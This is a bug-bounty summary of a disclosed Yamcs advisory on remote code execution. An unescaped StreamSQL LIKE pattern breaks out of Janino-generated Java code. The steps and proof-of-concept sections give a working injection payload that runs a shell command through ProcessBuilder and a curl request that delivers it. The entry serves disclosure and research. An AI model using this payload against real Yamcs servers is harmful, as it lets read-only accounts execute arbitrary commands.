# Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)

Unescaped StreamSQL LIKE pattern in Yamcs LikeExpression breaks out of generated Java string, letting read-only users inject a static{} block and run OS commands.

- Payout: Research
- Severity: critical
- Program: Yamcs
- Found by: Marnick39
- Disclosed: 2026-08-28
- CVE: CVE-2026-55565
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-c64q-hj4j-375f
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-c64q-hj4j-375f
- Tags: area:web domain:api domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:java technique:source-review vuln:access-control vuln:command-injection vuln:rce

**Target:** StreamSQL query compiler (Janino code generation) via archive REST API
**Root cause:** LikeExpression.fillCode_getValueReturn appends the user-supplied LIKE pattern raw into a generated Java string literal passed to Utils.like(), unlike ValueExpression which escapes via escapeJavaString(); the grammar permits `"` and getNonEscapedString does not escape it.
**Steps:**
1. Obtain a token for a user with only ControlArchiving (or ReadTables/ReadEvents/ReadActivities).
2. Create a table with a string column via `POST /api/archive/$INSTANCE:executeSql` with `{"statement":"create table demo(gentime timestamp, y string, primary key(gentime))"}`.
3. Send `create stream pwn as select * from demo where y like '$PATTERN'` where PATTERN is `a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1`.
4. The generated filter class is compiled by Janino at stream prep and its static initializer executes the command as the Yamcs OS user; verify with `cat /tmp/pwned`.
5. Alternative sinks: `readRows` `query` field (ReadTables), `GET /events?q=` (ReadEvents), `listActivities` `q` (ReadActivities) all build `... LIKE ?` from attacker input.
**How found:** Reviewed all 35 StreamSQL code-generators and found LikeExpression was the only one not escaping literals via escapeJavaString(); traced the grammar (S_STRING allows `"`, getNonEscapedString doesn't escape) and then audited every endpoint that builds a LIKE from user input, finding the sink reachable from read-only APIs.
**Exploitation:** Authenticated low-privilege user submits a LIKE pattern containing `"` to close the generated Java string and method, injects a static{} initializer running ProcessBuilder, and reopens a dummy method so the class compiles; Janino cooks and instantiates the class at stream preparation, executing the command before any tuple flows. No SecurityManager or Janino sandbox is configured.
**Escalation:** Same single sink reachable from four endpoints at routine read-only privileges (ControlArchiving, ReadTables, ReadEvents, ReadActivities), so any read-only account yields RCE; executeSql path leaves no Yamcs event/audit log.
**Insight:** When a DSL compiles to source, diff every code-generator against the one known-safe sibling (here ValueExpression.escapeJavaString) rather than testing payloads blindly; then grep for all call sites that feed the same sink, since a single unescaped generator is often reachable from many lower-privilege endpoints than the documented one.

## Proof of concept (copied exactly from the original report)

**LIKE pattern breakout payload with static initializer**

```
PATTERN='a"); } static { try { new ProcessBuilder(new String[]{"/bin/sh","-c","id > /tmp/pwned"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf("1'
SQL="create stream pwn as select * from demo where y like '$PATTERN'"
```

**curl executeSql request delivering the payload**

```
curl -s -X POST "$BASE/api/archive/$INSTANCE:executeSql" \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d "$(python3 -c 'import sys,json;print(json.dumps({"statement":sys.argv[1]}))' "$SQL")"

# 4. Proof: the command ran as the Yamcs OS user (on the server host).
cat /tmp/pwned        # -> uid=...(...)
```

